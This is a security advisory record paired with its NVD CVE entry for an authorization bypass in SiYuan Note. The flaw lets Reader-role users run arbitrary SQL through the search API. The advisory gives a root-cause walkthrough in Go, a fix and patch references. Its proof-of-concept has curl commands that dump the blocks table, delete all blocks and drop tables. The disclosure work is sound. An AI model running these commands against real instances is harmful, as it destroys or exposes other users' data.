{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T20:44:52Z",
    "nvd_published_at": "2026-03-20T01:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nSiYuan Note v3.6.0 (and likely prior versions) contains an authorization bypass vulnerability in the `/api/search/fullTextSearchBlock` endpoint. When the `method` parameter is set to `2`, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user \u2014 including those with the `Reader` role \u2014 to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application\u0027s database.\n\nThis is inconsistent with the application\u0027s own security model: the dedicated SQL endpoint (`/api/query/sql`) correctly requires both `CheckAdminRole` and `CheckReadonly` middleware, but the search endpoint bypasses these controls entirely.\n\n## Root Cause Analysis\n\n### The Vulnerable Endpoint\n\n**File:** `kernel/api/router.go`, line 188\n\n```go\nginServer.Handle(\"POST\", \"/api/search/fullTextSearchBlock\", model.CheckAuth, fullTextSearchBlock)\n```\n\nThis endpoint only applies `model.CheckAuth`, which permits **any** authenticated role (Administrator, Editor, or Reader).\n\n### The Properly Protected Endpoint (for comparison)\n\n**File:** `kernel/api/router.go`, line 177\n\n```go\nginServer.Handle(\"POST\", \"/api/query/sql\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL)\n```\n\nThis endpoint correctly chains `CheckAdminRole` and `CheckReadonly`, restricting SQL execution to administrators in read-write mode.\n\n### The Vulnerable Code Path\n\n**File:** `kernel/api/search.go`, lines 389-411\n\n```go\nfunc fullTextSearchBlock(c *gin.Context) {\n    // ...\n    page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)\n    blocks, matchedBlockCount, matchedRootCount, pageCount, docMode :=\n        model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)\n    // ...\n}\n```\n\n**File:** `kernel/model/search.go`, lines 1205-1206\n\n```go\ncase 2: // SQL\n    blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize)\n```\n\nWhen `method=2`, the raw `query` string is passed directly to `searchBySQL()`.\n\n**File:** `kernel/model/search.go`, lines 1460-1462\n\n```go\nfunc searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []*Block, ...) {\n    stmt = strings.TrimSpace(stmt)\n    blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize)\n```\n\n**File:** `kernel/sql/block_query.go`, lines 566-569, 713-714\n\n```go\nfunc SelectBlocksRawStmt(stmt string, page, limit int) (ret []*Block) {\n    parsedStmt, err := sqlparser.Parse(stmt)\n    if err != nil {\n        return selectBlocksRawStmt(stmt, limit)  // Falls through to raw execution\n    }\n    // ...\n}\n\nfunc selectBlocksRawStmt(stmt string, limit int) (ret []*Block) {\n    rows, err := query(stmt)  // Executes arbitrary SQL\n    // ...\n}\n```\n\n**File:** `kernel/sql/database.go`, lines 1327-1337\n\n```go\nfunc query(query string, args ...interface{}) (*sql.Rows, error) {\n    // ...\n    return db.Query(query, args...)  // Go\u0027s database/sql db.Query \u2014 executes ANY SQL\n}\n```\n\nGo\u0027s `database/sql` `db.Query()` will execute any SQL statement, including `DELETE`, `UPDATE`, `DROP TABLE`, `INSERT`, etc. The returned `*sql.Rows` will simply be empty for non-SELECT statements, but the destructive operation is still executed.\n\n### Authorization Model\n\n**File:** `kernel/model/session.go`, lines 201-210\n\n```go\nfunc CheckAuth(c *gin.Context) {\n    // Already authenticated via JWT\n    if role := GetGinContextRole(c); IsValidRole(role, []Role{\n        RoleAdministrator,\n        RoleEditor,\n        RoleReader,       // \u003c-- Reader role passes CheckAuth\n    }) {\n        c.Next()\n        return\n    }\n    // ...\n}\n```\n\n**File:** `kernel/model/session.go`, lines 380-386\n\n```go\nfunc CheckAdminRole(c *gin.Context) {\n    if IsAdminRoleContext(c) {\n        c.Next()\n    } else {\n        c.AbortWithStatus(http.StatusForbidden)  // \u003c-- This check is MISSING on the search endpoint\n    }\n}\n```\n\n## Proof of Concept\n\n### Prerequisites\n- SiYuan instance accessible over the network (e.g., Docker deployment)\n- Valid authentication as any user role (including `Reader`)\n\n### Steps to Reproduce\n\n1. Authenticate to SiYuan and obtain a valid session cookie or API token.\n\n2. **Read all data (confidentiality breach):**\n```bash\ncurl -X POST http://\u003ctarget\u003e:6806/api/search/fullTextSearchBlock \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Token \u003creader_token\u003e\" \\\n  -d \u0027{\"method\": 2, \"query\": \"SELECT * FROM blocks LIMIT 100\"}\u0027\n```\n\n3. **Delete all blocks (integrity/availability breach):**\n```bash\ncurl -X POST http://\u003ctarget\u003e:6806/api/search/fullTextSearchBlock \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Token \u003creader_token\u003e\" \\\n  -d \u0027{\"method\": 2, \"query\": \"DELETE FROM blocks\"}\u0027\n```\n\n4. **Drop tables (availability breach):**\n```bash\ncurl -X POST http://\u003ctarget\u003e:6806/api/search/fullTextSearchBlock \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Token \u003creader_token\u003e\" \\\n  -d \u0027{\"method\": 2, \"query\": \"DROP TABLE blocks\"}\u0027\n```\n\n5. **Compare with the properly protected endpoint** (should return HTTP 403 for Reader role):\n```bash\ncurl -X POST http://\u003ctarget\u003e:6806/api/query/sql \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Token \u003creader_token\u003e\" \\\n  -d \u0027{\"stmt\": \"SELECT * FROM blocks LIMIT 10\"}\u0027\n```\n\n### Expected Behavior\nThe search endpoint should reject SQL execution for non-admin users, or at minimum enforce read-only access, consistent with `/api/query/sql`.\n\n### Actual Behavior\nAny authenticated user (including Reader role) can execute arbitrary SQL including destructive operations.\n\n## Impact\n\nIn a multi-user deployment (e.g., Docker with published access, or any network-accessible instance with access authorization code):\n\n- **Confidentiality:** A Reader-role user can read all data in the SQLite database, including blocks, assets, references, and configuration data they should not have access to.\n- **Integrity:** A Reader-role user can modify or delete any data in the database, despite having read-only access by design.\n- **Availability:** A Reader-role user can drop tables or corrupt the database, rendering the application unusable.\n\n## Suggested Fix\n\nAdd `CheckAdminRole` and `CheckReadonly` middleware to the search endpoint, or add explicit validation that only SELECT statements are accepted when `method=2`:\n\n**Option A \u2014 Restrict method=2 to admin (recommended):**\n\nIn `kernel/api/search.go`, add a role check when `method=2`:\n\n```go\nfunc fullTextSearchBlock(c *gin.Context) {\n    // ...\n    page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)\n\n    // SQL mode requires admin privileges, consistent with /api/query/sql\n    if method == 2 \u0026\u0026 !model.IsAdminRoleContext(c) {\n        ret.Code = -1\n        ret.Msg = \"SQL search requires administrator privileges\"\n        return\n    }\n    // ...\n}\n```\n\n**Option B \u2014 Enforce SELECT-only for non-admin users:**\n\nValidate the parsed SQL to ensure only SELECT statements are executed when the user is not an administrator.",
  "id": "GHSA-j7wh-x834-p3r7",
  "modified": "2026-03-30T14:00:31Z",
  "published": "2026-03-16T20:44:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-j7wh-x834-p3r7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32767"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/issues/17209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/d5e2d0bce0dffef5f61bd8066954bc2d41181fc5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Authorization Bypass Allows Arbitrary SQL Execution via Search API"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "E1AA6470-222A-4841-A487-DF65F9859780",
              "versionEndExcluding": "3.6.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SiYuan is a personal knowledge management system. Versions 3.6.0 and below contain an authorization bypass vulnerability in the /api/search/fullTextSearchBlock endpoint. When the method parameter is set to 2, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user \u2014 including those with the Reader role \u2014 to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application\u0027s database. This is inconsistent with the application\u0027s own security model: the dedicated SQL endpoint (/api/query/sql) correctly requires both CheckAdminRole and CheckReadonly middleware, but the search endpoint bypasses these controls entirely. This issue has been fixed in version 3.6.1."
    },
    {
      "lang": "es",
      "value": "SiYuan es un sistema de gesti\u00f3n de conocimiento personal. Las versiones 3.6.0 e inferiores contienen una vulnerabilidad de omisi\u00f3n de autorizaci\u00f3n en el endpoint /api/search/fullTextSearchBlock. Cuando el par\u00e1metro method se establece en 2, el endpoint pasa la entrada proporcionada por el usuario directamente como una sentencia SQL sin procesar a la base de datos SQLite subyacente sin ninguna autorizaci\u00f3n ni comprobaci\u00f3n de solo lectura. Esto permite a cualquier usuario autenticado \u2014 incluidos aquellos con el rol de Lector \u2014 ejecutar sentencias SQL arbitrarias (SELECT, DELETE, UPDATE, DROP TABLE, etc.) contra la base de datos de la aplicaci\u00f3n. Esto es inconsistente con el propio modelo de seguridad de la aplicaci\u00f3n: el endpoint SQL dedicado (/api/query/sql) requiere correctamente el middleware CheckAdminRole y CheckReadonly, pero el endpoint de b\u00fasqueda omite estos controles por completo. Este problema ha sido solucionado en la versi\u00f3n 3.6.1."
    }
  ],
  "id": "CVE-2026-32767",
  "lastModified": "2026-03-23T15:23:44.380",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-20T01:15:55.597",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/siyuan-note/siyuan/commit/d5e2d0bce0dffef5f61bd8066954bc2d41181fc5"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/siyuan-note/siyuan/issues/17209"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-j7wh-x834-p3r7"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-j7wh-x834-p3r7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-89"
        },
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}